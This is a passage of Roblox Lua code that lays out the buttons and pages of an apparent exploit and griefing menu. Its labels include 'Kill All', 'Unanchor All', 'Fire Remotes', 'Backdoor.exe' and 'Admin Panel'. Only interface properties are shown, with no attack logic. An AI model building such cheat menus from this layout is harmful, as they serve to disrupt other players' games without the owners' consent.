button_15.Font = Enum.Font.SourceSans
button_15.Text = "Billboard Gui"
button_15.TextColor3 = Color3.fromRGB(255, 255, 255)
button_15.TextSize = 14.000
button_15.TextWrapped = true

button_16.Name = "button"
button_16.Parent = lp
button_16.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_16.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_16.BorderSizePixel = 3
button_16.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_16.Size = UDim2.new(0, 71, 0, 25)
button_16.Font = Enum.Font.SourceSans
button_16.Text = "Change Name"
button_16.TextColor3 = Color3.fromRGB(255, 255, 255)
button_16.TextSize = 14.000

button_17.Name = "button"
button_17.Parent = lp
button_17.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_17.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_17.BorderSizePixel = 3
button_17.Position = UDim2.new(0, 0, 0.179738566, 0)
button_17.Size = UDim2.new(0, 71, 0, 25)
button_17.Font = Enum.Font.SourceSans
button_17.Text = "Set Walkspeed"
button_17.TextColor3 = Color3.fromRGB(255, 255, 255)
button_17.TextSize = 14.000

button_18.Name = "button"
button_18.Parent = lp
button_18.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_18.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_18.BorderSizePixel = 3
button_18.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_18.Size = UDim2.new(0, 71, 0, 25)
button_18.Font = Enum.Font.SourceSans
button_18.Text = "Floating Pad"
button_18.TextColor3 = Color3.fromRGB(255, 255, 255)
button_18.TextSize = 14.000

button_19.Name = "button"
button_19.Parent = lp
button_19.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_19.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_19.BorderSizePixel = 3
button_19.Position = UDim2.new(0, 0, 0.261437923, 0)
button_19.Size = UDim2.new(0, 71, 0, 25)
button_19.Font = Enum.Font.SourceSans
button_19.Text = "Set Platform"
button_19.TextColor3 = Color3.fromRGB(255, 255, 255)
button_19.TextSize = 14.000

button_20.Name = "button"
button_20.Parent = lp
button_20.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_20.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_20.BorderSizePixel = 3
button_20.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_20.Size = UDim2.new(0, 71, 0, 25)
button_20.Font = Enum.Font.SourceSans
button_20.Text = "Spam Text"
button_20.TextColor3 = Color3.fromRGB(255, 255, 255)
button_20.TextSize = 14.000

button_21.Name = "button"
button_21.Parent = lp
button_21.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_21.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_21.BorderSizePixel = 3
button_21.Position = UDim2.new(0, 0, 0.343137264, 0)
button_21.Size = UDim2.new(0, 71, 0, 25)
button_21.Font = Enum.Font.SourceSans
button_21.Text = "Chicken Arms"
button_21.TextColor3 = Color3.fromRGB(255, 255, 255)
button_21.TextSize = 14.000

button_22.Name = "button"
button_22.Parent = lp
button_22.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_22.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_22.BorderSizePixel = 3
button_22.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_22.Size = UDim2.new(0, 71, 0, 25)
button_22.Font = Enum.Font.SourceSans
button_22.Text = "Set Gravity"
button_22.TextColor3 = Color3.fromRGB(255, 255, 255)
button_22.TextSize = 14.000

button_23.Name = "button"
button_23.Parent = lp
button_23.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_23.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_23.BorderSizePixel = 3
button_23.Position = UDim2.new(0, 0, 0.424836606, 0)
button_23.Size = UDim2.new(0, 71, 0, 25)
button_23.Font = Enum.Font.SourceSans
button_23.Text = "Set Jump"
button_23.TextColor3 = Color3.fromRGB(255, 255, 255)
button_23.TextSize = 14.000

button_24.Name = "button"
button_24.Parent = lp
button_24.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_24.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_24.BorderSizePixel = 3
button_24.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_24.Size = UDim2.new(0, 71, 0, 25)
button_24.ZIndex = 2
button_24.Font = Enum.Font.SourceSans
button_24.Text = "Head Shake"
button_24.TextColor3 = Color3.fromRGB(255, 255, 255)
button_24.TextSize = 14.000

pgname.Name = "pgname"
pgname.Parent = page1
pgname.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname.BorderSizePixel = 3
pgname.LayoutOrder = 3
pgname.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname.Size = UDim2.new(0, 300, 0, 40)
pgname.ZIndex = 3
pgname.Font = Enum.Font.SourceSansBold
pgname.Text = "Page 1"
pgname.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname.TextSize = 19.000

page3.Name = "page3"
page3.Parent = main
page3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page3.BorderColor3 = Color3.fromRGB(255, 0, 0)
page3.BorderSizePixel = 3
page3.Position = UDim2.new(0, 0, 0.182500005, 0)
page3.Size = UDim2.new(0, 298, 0, 306)
page3.Visible = false

guir.Name = "guir"
guir.Parent = page3
guir.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
guir.BorderColor3 = Color3.fromRGB(255, 0, 0)
guir.BorderSizePixel = 3
guir.Size = UDim2.new(0, 149, 0, 306)

sectitle_3.Name = "sectitle"
sectitle_3.Parent = guir
sectitle_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_3.BorderSizePixel = 3
sectitle_3.Size = UDim2.new(0, 149, 0, 30)
sectitle_3.Font = Enum.Font.SourceSansBold
sectitle_3.Text = "Guis and Remotes"
sectitle_3.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_3.TextSize = 14.000

button_25.Name = "button"
button_25.Parent = guir
button_25.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_25.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_25.BorderSizePixel = 3
button_25.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_25.Size = UDim2.new(0, 71, 0, 25)
button_25.Font = Enum.Font.SourceSans
button_25.Text = "T0PK3K"
button_25.TextColor3 = Color3.fromRGB(255, 255, 255)
button_25.TextSize = 14.000

button_26.Name = "button"
button_26.Parent = guir
button_26.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_26.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_26.BorderSizePixel = 3
button_26.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_26.Size = UDim2.new(0, 71, 0, 25)
button_26.Font = Enum.Font.SourceSans
button_26.Text = "Admin Panel"
button_26.TextColor3 = Color3.fromRGB(255, 255, 255)
button_26.TextSize = 14.000

button_27.Name = "button"
button_27.Parent = guir
button_27.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_27.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_27.BorderSizePixel = 3
button_27.Position = UDim2.new(0, 0, 0.179738566, 0)
button_27.Size = UDim2.new(0, 71, 0, 25)
button_27.Font = Enum.Font.SourceSans
button_27.Text = "Project Soviet"
button_27.TextColor3 = Color3.fromRGB(255, 255, 255)
button_27.TextSize = 14.000

button_28.Name = "button"
button_28.Parent = guir
button_28.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_28.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_28.BorderSizePixel = 3
button_28.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_28.Size = UDim2.new(0, 71, 0, 25)
button_28.Font = Enum.Font.SourceSans
button_28.Text = "Harked"
button_28.TextColor3 = Color3.fromRGB(255, 255, 255)
button_28.TextSize = 14.000

button_29.Name = "button"
button_29.Parent = guir
button_29.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_29.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_29.BorderSizePixel = 3
button_29.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_29.Size = UDim2.new(0, 71, 0, 25)
button_29.Font = Enum.Font.SourceSans
button_29.Text = "Fire Remotes"
button_29.TextColor3 = Color3.fromRGB(255, 255, 255)
button_29.TextSize = 14.000

button_30.Name = "button"
button_30.Parent = guir
button_30.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_30.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_30.BorderSizePixel = 3
button_30.Position = UDim2.new(0, 0, 0.343137264, 0)
button_30.Size = UDim2.new(0, 71, 0, 25)
button_30.Font = Enum.Font.SourceSans
button_30.Text = "Comet"
button_30.TextColor3 = Color3.fromRGB(255, 255, 255)
button_30.TextSize = 14.000

button_31.Name = "button"
button_31.Parent = guir
button_31.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_31.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_31.BorderSizePixel = 3
button_31.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_31.Size = UDim2.new(0, 71, 0, 25)
button_31.Font = Enum.Font.SourceSans
button_31.Text = "SimpleSpy"
button_31.TextColor3 = Color3.fromRGB(255, 255, 255)
button_31.TextSize = 14.000

button_32.Name = "button"
button_32.Parent = guir
button_32.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_32.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_32.BorderSizePixel = 3
button_32.Position = UDim2.new(0, 0, 0.261437923, 0)
button_32.Size = UDim2.new(0, 71, 0, 25)
button_32.Font = Enum.Font.SourceSans
button_32.Text = "FraktureSS"
button_32.TextColor3 = Color3.fromRGB(255, 255, 255)
button_32.TextSize = 14.000

button_33.Name = "button"
button_33.Parent = guir
button_33.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_33.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_33.BorderSizePixel = 3
button_33.Position = UDim2.new(0, 0, 0.424836606, 0)
button_33.Size = UDim2.new(0, 71, 0, 25)
button_33.Font = Enum.Font.SourceSans
button_33.Text = "ReplicationUI"
button_33.TextColor3 = Color3.fromRGB(255, 255, 255)
button_33.TextSize = 14.000

button_34.Name = "button"
button_34.Parent = guir
button_34.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_34.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_34.BorderSizePixel = 3
button_34.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_34.Size = UDim2.new(0, 71, 0, 25)
button_34.Font = Enum.Font.SourceSans
button_34.Text = "Backdoor.exe"
button_34.TextColor3 = Color3.fromRGB(255, 255, 255)
button_34.TextSize = 14.000

misc.Name = "misc"
misc.Parent = page3
misc.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
misc.BorderColor3 = Color3.fromRGB(255, 0, 0)
misc.BorderSizePixel = 3
misc.Position = UDim2.new(0.5, 0, 0, 0)
misc.Size = UDim2.new(0, 149, 0, 306)

sectitle_4.Name = "sectitle"
sectitle_4.Parent = misc
sectitle_4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_4.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_4.BorderSizePixel = 3
sectitle_4.Size = UDim2.new(0, 149, 0, 30)
sectitle_4.Font = Enum.Font.SourceSansBold
sectitle_4.Text = "Misc."
sectitle_4.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_4.TextSize = 14.000

button_35.Name = "button"
button_35.Parent = misc
button_35.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_35.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_35.BorderSizePixel = 3
button_35.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_35.Size = UDim2.new(0, 71, 0, 25)
button_35.Font = Enum.Font.SourceSans
button_35.Text = "Punch Tool"
button_35.TextColor3 = Color3.fromRGB(255, 255, 255)
button_35.TextSize = 14.000

button_36.Name = "button"
button_36.Parent = misc
button_36.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_36.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_36.BorderSizePixel = 3
button_36.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_36.Size = UDim2.new(0, 71, 0, 25)
button_36.Font = Enum.Font.SourceSans
button_36.Text = "Classic Btools"
button_36.TextColor3 = Color3.fromRGB(255, 255, 255)
button_36.TextSize = 14.000

button_37.Name = "button"
button_37.Parent = misc
button_37.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_37.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_37.BorderSizePixel = 3
button_37.Position = UDim2.new(0, 0, 0.179738566, 0)
button_37.Size = UDim2.new(0, 71, 0, 25)
button_37.Font = Enum.Font.SourceSans
button_37.Text = "F3X (Client)"
button_37.TextColor3 = Color3.fromRGB(255, 255, 255)
button_37.TextSize = 14.000

button_38.Name = "button"
button_38.Parent = misc
button_38.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_38.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_38.BorderSizePixel = 3
button_38.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_38.Size = UDim2.new(0, 71, 0, 25)
button_38.Font = Enum.Font.SourceSans
button_38.Text = "commit oof"
button_38.TextColor3 = Color3.fromRGB(255, 255, 255)
button_38.TextSize = 14.000

button_39.Name = "button"
button_39.Parent = misc
button_39.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_39.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_39.BorderSizePixel = 3
button_39.Position = UDim2.new(0, 0, 0.261437923, 0)
button_39.Size = UDim2.new(0, 71, 0, 25)
button_39.Font = Enum.Font.SourceSans
button_39.Text = "Destroy GUI"
button_39.TextColor3 = Color3.fromRGB(255, 255, 255)
button_39.TextSize = 14.000

button_40.Name = "button"
button_40.Parent = misc
button_40.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_40.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_40.BorderSizePixel = 3
button_40.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_40.Size = UDim2.new(0, 71, 0, 25)
button_40.Font = Enum.Font.SourceSans
button_40.Text = "Dex Explorer"
button_40.TextColor3 = Color3.fromRGB(255, 255, 255)
button_40.TextSize = 14.000

button_41.Name = "button"
button_41.Parent = misc
button_41.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_41.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_41.BorderSizePixel = 3
button_41.Position = UDim2.new(0, 0, 0.343137264, 0)
button_41.Size = UDim2.new(0, 71, 0, 25)
button_41.Font = Enum.Font.SourceSans
button_41.Text = "Sword Tool"
button_41.TextColor3 = Color3.fromRGB(255, 255, 255)
button_41.TextSize = 14.000

button_42.Name = "button"
button_42.Parent = misc
button_42.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_42.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_42.BorderSizePixel = 3
button_42.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_42.Size = UDim2.new(0, 71, 0, 25)
button_42.Font = Enum.Font.SourceSans
button_42.Text = "Discord Invite"
button_42.TextColor3 = Color3.fromRGB(255, 255, 255)
button_42.TextSize = 14.000

pgname_2.Name = "pgname"
pgname_2.Parent = page3
pgname_2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname_2.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname_2.BorderSizePixel = 3
pgname_2.LayoutOrder = 3
pgname_2.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname_2.Size = UDim2.new(0, 300, 0, 40)
pgname_2.ZIndex = 3
pgname_2.Font = Enum.Font.SourceSansBold
pgname_2.Text = "Page 3"
pgname_2.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname_2.TextSize = 19.000

page2.Name = "page2"
page2.Parent = main
page2.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page2.BorderColor3 = Color3.fromRGB(255, 0, 0)
page2.BorderSizePixel = 3
page2.Position = UDim2.new(0, 0, 0.182500005, 0)
page2.Size = UDim2.new(0, 298, 0, 306)
page2.Visible = false

fds.Name = "fds"
fds.Parent = page2
fds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
fds.BorderColor3 = Color3.fromRGB(255, 0, 0)
fds.BorderSizePixel = 3
fds.Size = UDim2.new(0, 149, 0, 306)

sectitle_5.Name = "sectitle"
sectitle_5.Parent = fds
sectitle_5.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_5.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_5.BorderSizePixel = 3
sectitle_5.Size = UDim2.new(0, 149, 0, 30)
sectitle_5.Font = Enum.Font.SourceSansBold
sectitle_5.Text = "Client-Sided Scripts (NOBODY SEES THEM)"
sectitle_5.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_5.TextSize = 14.000
sectitle_5.TextWrapped = true

button_43.Name = "button"
button_43.Parent = fds
button_43.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_43.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_43.BorderSizePixel = 3
button_43.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_43.Size = UDim2.new(0, 71, 0, 25)
button_43.Font = Enum.Font.SourceSans
button_43.Text = "Play Music"
button_43.TextColor3 = Color3.fromRGB(255, 255, 255)
button_43.TextSize = 14.000

button_44.Name = "button"
button_44.Parent = fds
button_44.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_44.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_44.BorderSizePixel = 3
button_44.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_44.Size = UDim2.new(0, 71, 0, 25)
button_44.Font = Enum.Font.SourceSans
button_44.Text = "Disco Fog"
button_44.TextColor3 = Color3.fromRGB(255, 255, 255)
button_44.TextSize = 14.000

button_45.Name = "button"
button_45.Parent = fds
button_45.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_45.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_45.BorderSizePixel = 3
button_45.Position = UDim2.new(0, 0, 0.179738566, 0)
button_45.Size = UDim2.new(0, 71, 0, 25)
button_45.Font = Enum.Font.SourceSans
button_45.Text = "c00lify"
button_45.TextColor3 = Color3.fromRGB(255, 255, 255)
button_45.TextSize = 14.000

button_46.Name = "button"
button_46.Parent = fds
button_46.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_46.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_46.BorderSizePixel = 3
button_46.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_46.Size = UDim2.new(0, 71, 0, 25)
button_46.Font = Enum.Font.SourceSans
button_46.Text = "MLG Particles"
button_46.TextColor3 = Color3.fromRGB(255, 255, 255)
button_46.TextSize = 14.000

btools.Name = "btools"
btools.Parent = page2
btools.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
btools.BorderColor3 = Color3.fromRGB(255, 0, 0)
btools.BorderSizePixel = 3
btools.Position = UDim2.new(0.5, 0, 0, 0)
btools.Size = UDim2.new(0, 149, 0, 306)

sectitle_6.Name = "sectitle"
sectitle_6.Parent = btools
sectitle_6.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_6.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_6.BorderSizePixel = 3
sectitle_6.Size = UDim2.new(0, 149, 0, 30)
sectitle_6.Font = Enum.Font.SourceSansBold
sectitle_6.Text = "F3X Scripts"
sectitle_6.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_6.TextSize = 14.000

button_47.Name = "button"
button_47.Parent = btools
button_47.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_47.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_47.BorderSizePixel = 3
button_47.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_47.Size = UDim2.new(0, 71, 0, 25)
button_47.Font = Enum.Font.SourceSans
button_47.Text = "Set Skybox"
button_47.TextColor3 = Color3.fromRGB(255, 255, 255)
button_47.TextSize = 14.000

button_48.Name = "button"
button_48.Parent = btools
button_48.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_48.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_48.BorderSizePixel = 3
button_48.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_48.Size = UDim2.new(0, 71, 0, 25)
button_48.Font = Enum.Font.SourceSans
button_48.Text = "Set Decal"
button_48.TextColor3 = Color3.fromRGB(255, 255, 255)
button_48.TextSize = 14.000

button_49.Name = "button"
button_49.Parent = btools
button_49.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_49.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_49.BorderSizePixel = 3
button_49.Position = UDim2.new(0, 0, 0.179738566, 0)
button_49.Size = UDim2.new(0, 71, 0, 25)
button_49.Font = Enum.Font.SourceSans
button_49.Text = "Fire Parts"
button_49.TextColor3 = Color3.fromRGB(255, 255, 255)
button_49.TextSize = 14.000

button_50.Name = "button"
button_50.Parent = btools
button_50.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_50.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_50.BorderSizePixel = 3
button_50.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_50.Size = UDim2.new(0, 71, 0, 25)
button_50.Font = Enum.Font.SourceSans
button_50.Text = "Fire All"
button_50.TextColor3 = Color3.fromRGB(255, 255, 255)
button_50.TextSize = 14.000

button_51.Name = "button"
button_51.Parent = btools
button_51.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_51.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_51.BorderSizePixel = 3
button_51.Position = UDim2.new(0, 0, 0.261437923, 0)
button_51.Size = UDim2.new(0, 71, 0, 25)
button_51.Font = Enum.Font.SourceSans
button_51.Text = "Raining Toad"
button_51.TextColor3 = Color3.fromRGB(255, 255, 255)
button_51.TextSize = 14.000

button_52.Name = "button"
button_52.Parent = btools
button_52.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_52.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_52.BorderSizePixel = 3
button_52.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_52.Size = UDim2.new(0, 71, 0, 25)
button_52.Font = Enum.Font.SourceSans
button_52.Text = "Kill All"
button_52.TextColor3 = Color3.fromRGB(255, 255, 255)
button_52.TextSize = 14.000

button_53.Name = "button"
button_53.Parent = btools
button_53.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_53.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_53.BorderSizePixel = 3
button_53.Position = UDim2.new(0, 0, 0.343137264, 0)
button_53.Size = UDim2.new(0, 71, 0, 25)
button_53.Font = Enum.Font.SourceSans
button_53.Text = "Set Baseplate"
button_53.TextColor3 = Color3.fromRGB(255, 255, 255)
button_53.TextSize = 14.000

button_54.Name = "button"
button_54.Parent = btools
button_54.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_54.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_54.BorderSizePixel = 3
button_54.Position = UDim2.new(0.523489952, 0, 0.343137264, 0)
button_54.Size = UDim2.new(0, 71, 0, 25)
button_54.Font = Enum.Font.SourceSans
button_54.Text = "Bighead All"
button_54.TextColor3 = Color3.fromRGB(255, 255, 255)
button_54.TextSize = 14.000

button_55.Name = "button"
button_55.Parent = btools
button_55.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_55.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_55.BorderSizePixel = 3
button_55.Position = UDim2.new(0, 0, 0.424836606, 0)
button_55.Size = UDim2.new(0, 71, 0, 25)
button_55.Font = Enum.Font.SourceSans
button_55.Text = "Unanchor All"
button_55.TextColor3 = Color3.fromRGB(255, 255, 255)
button_55.TextSize = 14.000

button_56.Name = "button"
button_56.Parent = btools
button_56.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_56.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_56.BorderSizePixel = 3
button_56.Position = UDim2.new(0.523489952, 0, 0.424836606, 0)
button_56.Size = UDim2.new(0, 71, 0, 25)
button_56.Font = Enum.Font.SourceSans
button_56.Text = "Disco All"
button_56.TextColor3 = Color3.fromRGB(255, 255, 255)
button_56.TextSize = 14.000

button_57.Name = "button"
button_57.Parent = btools
button_57.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_57.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_57.BorderSizePixel = 3
button_57.Position = UDim2.new(0, 0, 0.506535947, 0)
button_57.Size = UDim2.new(0, 71, 0, 25)
button_57.ZIndex = 2
button_57.Font = Enum.Font.SourceSans
button_57.Text = "Raining Spongebob"
button_57.TextColor3 = Color3.fromRGB(255, 255, 255)
button_57.TextSize = 14.000

pgname_3.Name = "pgname"
pgname_3.Parent = page2
pgname_3.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pgname_3.BorderColor3 = Color3.fromRGB(255, 0, 0)
pgname_3.BorderSizePixel = 3
pgname_3.LayoutOrder = 3
pgname_3.Position = UDim2.new(-0.00333332852, 0, 0.86601305, 0)
pgname_3.Size = UDim2.new(0, 300, 0, 40)
pgname_3.ZIndex = 3
pgname_3.Font = Enum.Font.SourceSansBold
pgname_3.Text = "Page 2"
pgname_3.TextColor3 = Color3.fromRGB(255, 255, 255)
pgname_3.TextSize = 19.000

page4.Name = "page4"
page4.Parent = main
page4.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
page4.BorderColor3 = Color3.fromRGB(255, 0, 0)
page4.BorderSizePixel = 3
page4.Position = UDim2.new(0, 0, 0.182500005, 0)
page4.Size = UDim2.new(0, 298, 0, 306)
page4.Visible = false

pres.Name = "pres"
pres.Parent = page4
pres.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
pres.BorderColor3 = Color3.fromRGB(255, 0, 0)
pres.BorderSizePixel = 3
pres.Size = UDim2.new(0, 149, 0, 306)

sectitle_7.Name = "sectitle"
sectitle_7.Parent = pres
sectitle_7.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
sectitle_7.BorderColor3 = Color3.fromRGB(255, 0, 0)
sectitle_7.BorderSizePixel = 3
sectitle_7.Size = UDim2.new(0, 149, 0, 30)
sectitle_7.Font = Enum.Font.SourceSansBold
sectitle_7.Text = "Skybox/Decal Presets    (F3X)"
sectitle_7.TextColor3 = Color3.fromRGB(255, 255, 255)
sectitle_7.TextSize = 14.000
sectitle_7.TextWrapped = true

button_58.Name = "button"
button_58.Parent = pres
button_58.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_58.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_58.BorderSizePixel = 3
button_58.Position = UDim2.new(0, 0, 0.0980392173, 0)
button_58.Size = UDim2.new(0, 71, 0, 25)
button_58.Font = Enum.Font.SourceSans
button_58.Text = "c00lkidd"
button_58.TextColor3 = Color3.fromRGB(255, 255, 255)
button_58.TextSize = 14.000

button_59.Name = "button"
button_59.Parent = pres
button_59.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_59.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_59.BorderSizePixel = 3
button_59.Position = UDim2.new(0.523489952, 0, 0.0980392173, 0)
button_59.Size = UDim2.new(0, 71, 0, 25)
button_59.Font = Enum.Font.SourceSans
button_59.Text = "1x3x5x6"
button_59.TextColor3 = Color3.fromRGB(255, 255, 255)
button_59.TextSize = 14.000

button_60.Name = "button"
button_60.Parent = pres
button_60.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_60.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_60.BorderSizePixel = 3
button_60.Position = UDim2.new(0, 0, 0.179738566, 0)
button_60.Size = UDim2.new(0, 71, 0, 25)
button_60.Font = Enum.Font.SourceSans
button_60.Text = "skrubl0rdz"
button_60.TextColor3 = Color3.fromRGB(255, 255, 255)
button_60.TextSize = 14.000

button_61.Name = "button"
button_61.Parent = pres
button_61.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_61.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_61.BorderSizePixel = 3
button_61.Position = UDim2.new(0.523489952, 0, 0.179738566, 0)
button_61.Size = UDim2.new(0, 71, 0, 25)
button_61.Font = Enum.Font.SourceSans
button_61.Text = "k00pkidd"
button_61.TextColor3 = Color3.fromRGB(255, 255, 255)
button_61.TextSize = 14.000

button_62.Name = "button"
button_62.Parent = pres
button_62.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_62.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_62.BorderSizePixel = 3
button_62.Position = UDim2.new(0.523489952, 0, 0.261437923, 0)
button_62.Size = UDim2.new(0, 71, 0, 25)
button_62.Font = Enum.Font.SourceSans
button_62.Text = "007n7"
button_62.TextColor3 = Color3.fromRGB(255, 255, 255)
button_62.TextSize = 14.000

button_63.Name = "button"
button_63.Parent = pres
button_63.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
button_63.BorderColor3 = Color3.fromRGB(255, 0, 0)
button_63.BorderSizePixel = 3
button_63.Position = UDim2.new(0, 0, 0.261437923, 0)
button_63.Size = UDim2.new(0, 71, 0, 25)
button_63.Font = Enum.Font.SourceSans
button_63.Text = "cK Logo"
button_63.TextColor3 = Color3.fromRGB(255, 255, 255)
button_63.TextSize = 14.000

creds.Name = "creds"
creds.Parent = page4
creds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
